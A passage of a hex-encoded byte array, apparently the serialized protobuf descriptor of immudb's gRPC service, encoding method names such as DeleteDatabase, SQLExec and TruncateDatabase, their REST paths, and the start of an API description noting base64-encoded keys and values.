0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x88, 0x02, 0x01, 0x12, 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x67, 0x0a, 0x0d, 0x55, 0x6e, 0x61, 0x72, 0x79, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x64, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 